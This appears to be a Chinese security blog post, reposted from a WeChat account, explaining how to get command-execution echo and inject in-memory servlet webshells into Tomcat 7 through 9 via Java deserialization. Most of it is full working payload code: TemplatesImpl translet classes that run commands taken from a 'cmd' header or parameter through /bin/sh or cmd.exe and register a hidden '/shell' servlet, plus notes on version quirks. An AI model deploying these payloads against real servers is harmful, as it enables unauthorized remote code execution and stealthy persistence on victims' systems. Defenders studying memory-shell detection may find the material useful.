Java反序列化命令回显和内存shell(3)

渗透技巧 2年前 (2021) admin
541 0 0

六、    Tomcat7

前文回显和内存shell在tomcat8-9上都能用,在tomcat7就有一些不兼容了,先看Servlet内存shell。

Java反序列化命令回显和内存shell(3)

不存在WebappClassLoaderBase类,不存在addServletMappingDecoded方法,前者先从request取,后者用addServletMapping代替。

<%        Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext standardContext = (StandardContext) req.getContext();    Wrapper wrapper = standardContext.createWrapper();    wrapper.setName("shell");    wrapper.setServlet(servlet);        standardContext.addChild(wrapper);    standardContext.addServletMapping("/shell", "shell");%>

可以用,但还是那个问题,request是jsp自带的对象,没法用于反序列化,而没有WebappClassLoaderBase,自然就没办法获取StandardContext,接下来该怎么办呢?


先回顾找tomcat8的回显,我们本质上是在追踪tomcat代码来梳理线程中一层一层的对象,一路向下找到request属性。但其实不止那一条链,很多链最终都能找到request,我们在testServlet增加代码

        ThreadGroup group = Thread.currentThread().getThreadGroup();

下断点,然后对比成熟tomcat全版本回显项目来找思路。
https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Tomcat/code/TomcatEcho-%E5%85%A8%E7%89%88%E6%9C%AC.jsp


Java反序列化命令回显和内存shell(3)

可以看到追踪到了熟悉的Http11Protocol——RequestInfo,对象结构如下。
ThreadGroup->threads[3]
Thread->target
JIoEndpoint$AsyncTimeout->this$0
JIoEndpoint->handler
Http11Protocol$Http11ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request

可以看到后半段我们很熟悉。在代码中使用了大量反射,所以不需要导入对应jar包,还在threads和processors做了for循环的兼容性处理。优化下代码,效果如下。

package test;import java.lang.reflect.Field;import java.util.ArrayList;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TemplatesImplTomcat678910cmdecho extends AbstractTranslet { public TemplatesImplTomcat678910cmdecho() throws Exception { boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; Object obj = getFieldValue(t, "target"); if (!(obj instanceof Runnable)) continue; obj = getFieldValue(obj, "this$0"); obj = getFieldValue(obj, "handler"); obj = getFieldValue(obj, "global"); ArrayList processors = (ArrayList) getFieldValue(obj, "processors"); for(Object processor : processors) { Object req = getFieldValue(processor, "req"); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]); str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); if (str != null && !str.isEmpty()) { resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str}; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\A").next().getBytes(); try { Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); obj = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } catch (NoSuchMethodException var5) { Class cls = Class.forName("java.nio.ByteBuffer"); obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } flag = true; } if (flag) break; } if (flag) break; }catch(Exception e){ continue; } } } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field; try { field = obj.getClass().getDeclaredField(fieldName); } catch (Exception e) { try { field = obj.getClass().getSuperclass().getDeclaredField(fieldName); } catch (Exception e2) { field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(fieldName); } } field.setAccessible(true); return field.get(obj); }}

Java反序列化命令回显和内存shell(3)

解决了回显问题,意味着获取了request,是否就能像jsp那样从request中获取StandardContext呢?答案是不行,jsp的request是封装过的。
柳暗花明,在threads[1]中,可以看到一个StandardEngine对象,其正是tomcat四大容器中的最上层容器,向下跟即可依次发现StandardHost——StandardContext。

Java反序列化命令回显和内存shell(3)

对象结构如下。
ThreadGroup->threads[1]
Thread->target
ContainerBase$ContainerBackgroundProcessor->this$0
StandardEngine->children[0]
StandardHost->children[6]
StandardContext

但是注意,无论是StandardHost还是StandardContext都有可能存在多个,如上图就存在shirodemo和webtest两个StandardContext。因此需要先从回显获取的request中取得serverNameMB和uriMB以进行对比。

Java反序列化命令回显和内存shell(3)

参考https://xz.aliyun.com/t/9914 写出兼容tomcat78的Servlet内存马。

package test;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.HashMap;import java.util.Iterator;import java.util.Scanner;
import javax.servlet.Servlet;import javax.servlet.ServletConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;
import org.apache.catalina.Wrapper;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardHost;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TemplatesImplTomcat78ServletShell extends AbstractTranslet implements Servlet{ String uriMB; String serverNameMB; public TemplatesImplTomcat78ServletShell() throws Exception { setMB(); ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; if (!t.getName().contains("StandardEngine")) continue; Object target = getFieldValue(t, "target"); if (target == null) continue; HashMap children; Object obj = getFieldValue(target, "this$0"); children = (HashMap) getFieldValue(obj, "children"); StandardHost standardHost = (StandardHost) children.get(serverNameMB); children = (HashMap) getFieldValue(standardHost, "children"); Iterator iterator = children.keySet().iterator(); while (iterator.hasNext()){ String contextKey = (String) iterator.next(); if (!(uriMB.startsWith(contextKey))) continue; StandardContext standardContext = (StandardContext) children.get(contextKey); Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("shell"); wrapper.setServlet(this); standardContext.addChild(wrapper); try { Method addServlet = StandardContext.class.getMethod("addServletMappingDecoded", String.class, String.class); addServlet.invoke(standardContext, "/shell", "shell"); }catch (Exception e) { Method addServlet = StandardContext.class.getMethod("addServletMapping", String.class, String.class); addServlet.invoke(standardContext, "/shell", "shell"); } } }catch(Exception e){ continue; } } } private void setMB() throws Exception { boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; Object obj = getFieldValue(t, "target"); if (!(obj instanceof Runnable)) continue; obj = getFieldValue(obj, "this$0"); obj = getFieldValue(obj, "handler"); obj = getFieldValue(obj, "global"); ArrayList processors = (ArrayList) getFieldValue(obj, "processors"); for(int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); Object req = getFieldValue(processor, "req"); Object serverPort = getFieldValue(req, "serverPort"); if (serverPort.equals(-1)) continue; serverNameMB = (String) getFieldValue(req, "serverNameMB").toString(); uriMB = (String) getFieldValue(req, "uriMB").toString(); if(serverNameMB != null && uriMB != null) { flag = true; } if (flag) break; } if (flag) break; }catch(Exception e){ continue; } } } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field; try { field = obj.getClass().getDeclaredField(fieldName); } catch (Exception e) { try { field = obj.getClass().getSuperclass().getDeclaredField(fieldName); } catch (Exception e2) { field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(fieldName); } } field.setAccessible(true); return field.get(obj); } @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); response.getWriter().write(output); response.getWriter().flush(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { }}

Java反序列化命令回显和内存shell(3)



七、    Tomcat9

tomcat7行了,到了tomcat9内存shell又不行了,还是在testServlet上加ThreadGroup下断点。
发现ContainerBase$ContainerBackgroundProcessor没了,取而代之的是AcceptorNioEndpoint$Poller

Java反序列化命令回显和内存shell(3)

跟进后发现,会发现这俩都马上能看到AbstractProtocol$ConnectionHandler

Java反序列化命令回显和内存shell(3)

Java反序列化命令回显和内存shell(3)

这里我们用NioEndpoint$Poller,获取的AbstractProtocol$ConnectionHandler在tomcat8回显时我们就知道,它可以轻松获取request。但它同样有一个较复杂的链可以获取StandardEngine。

Java反序列化命令回显和内存shell(3)

对象结构如下。
ThreadGroup->threads[3]
Thread->target
NioEndpoint$Poller->this$0
NioEndpoint->handler
AbstractProtocol$ConnectionHandler->proto
Http11NioProtocol->adapter
CoyoteAdapter->connector
Connector->service
StandardService->engine
StandardEngine->children[0]
StandardHost->children[6]
StandardContext

结合tocmat通用回显,我们再去tomcat7下断点可以得到这么一条类似的获取StandardContext的链。
ThreadGroup->threads[3]
Thread->target
JIoEndpoint$AsyncTimeout->this$0
JIoEndpoint->handler
Http11Protocol$Http11ConnectionHandler->proto
Http11NioProtocol->adapter
CoyoteAdapter->connector
Connector->service
StandardService->container
StandardEngine->children[0]
StandardHost->children[6]
StandardContext

可以看到非常相似,前面几个类不同,后面Service到Engine的属性名不一样,用反射来写其实就无视之了。那么可以写出通用tomcat789 Servlet内存shell。

package test;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;
import javax.servlet.*;
import org.apache.catalina.Wrapper;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardHost;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TemplatesImplTomcat789ServletShell extends AbstractTranslet implements Servlet{ String uriMB; String serverNameMB; public TemplatesImplTomcat789ServletShell() throws Exception { setMB(); ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; Object obj = getFieldValue(t, "target"); if (!(obj instanceof Runnable)) continue; obj = getFieldValue(obj, "this$0"); obj = getFieldValue(obj, "handler"); obj = getFieldValue(obj, "proto"); obj = getFieldValue(obj, "adapter"); obj = getFieldValue(obj, "connector"); obj = getFieldValue(obj, "service"); try { obj = getFieldValue(obj, "engine"); }catch (Exception e) { obj = getFieldValue(obj, "container"); } HashMap children = (HashMap) getFieldValue(obj, "children"); StandardHost standardHost = (StandardHost) children.get(serverNameMB); children = (HashMap) getFieldValue(standardHost, "children"); Iterator iterator = children.keySet().iterator(); while (iterator.hasNext()){ String contextKey = (String) iterator.next(); if (!(uriMB.startsWith(contextKey))) continue; StandardContext standardContext = (StandardContext) children.get(contextKey); Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("shell"); wrapper.setServlet(this); standardContext.addChild(wrapper); try { Method addServlet = StandardContext.class.getMethod("addServletMappingDecoded", String.class, String.class); addServlet.invoke(standardContext, "/shell", "shell"); }catch (Exception e) { Method addServlet = StandardContext.class.getMethod("addServletMapping", String.class, String.class); addServlet.invoke(standardContext, "/shell", "shell"); } } }catch(Exception e){ continue; } } } private void setMB() throws Exception { boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); Thread[] threads = (Thread[]) getFieldValue(group, "threads"); for(int i = 0; i < threads.length; i++) { if (flag) break; try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; Object obj = getFieldValue(t, "target"); if (!(obj instanceof Runnable)) continue; obj = getFieldValue(obj, "this$0"); obj = getFieldValue(obj, "handler"); obj = getFieldValue(obj, "global"); ArrayList<?> processors = (ArrayList<?>) getFieldValue(obj, "processors"); for(int j = 0; j < processors.size(); ++j) { if (flag) break; Object processor = processors.get(j); Object req = getFieldValue(processor, "req"); Object serverPort = getFieldValue(req, "serverPort"); if (serverPort.equals(-1)) continue; serverNameMB = (String) getFieldValue(req, "serverNameMB").toString(); uriMB = (String) getFieldValue(req, "uriMB").toString(); if(serverNameMB != null && uriMB != null) { flag = true; } } }catch(Exception e){ continue; } } } public static Object getFieldValue(Object obj, String fieldName) throws Exception { try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { return getFieldValue(obj, obj.getClass(), fieldName); } } public static Object getFieldValue(Object obj, Class<?> clazz, String fieldName) throws Exception { Field field; clazz = clazz.getSuperclass(); try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { return getFieldValue(obj, clazz, fieldName); } } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); response.getWriter().write(output); response.getWriter().flush(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { }}



八、    Tomcat其他


到这里tomcat6-10的回显,7-9的Servlet内存shell都写出来了,6/10的Servlet,以及不同版本的Listener/Filter就懒得写了,因为tomcat不同版本间还有很多其他区别。

比如在全版本回显中,Response.doWrite()传的参数不同。
ByteChunk(6/7/8部分低版本)
ByteBuffer(8部分高版本/9/10)


比如在tomcat6中,没有Wrapper.setServlet(),也没有StandardContext.addApplicationEventListener()


比如在tomcat10中,Servlet相关包名从javax.servlet变成了jakarta.servlet。


比如在tomcat7和tomcat8中,FilterDef包名有变化。
org.apache.catalina.deploy.FilterDef(tomcat7)
org.apache.tomcat.util.descriptor.web.FilterDef(tomcat8)

以及前面已经遇到的一些坑。
WebappClassLoaderBase,tomcat8有,tomcat7没有

StandardContext.addServletMappingDecoded(8/9/10)
StandardContext.addServletMapping(6/7/8)

Java反序列化命令回显和内存shell(3)



原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(3)

版权声明:admin 发表于 2021年11月11日 上午1:00。
转载请注明:Java反序列化命令回显和内存shell(3) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...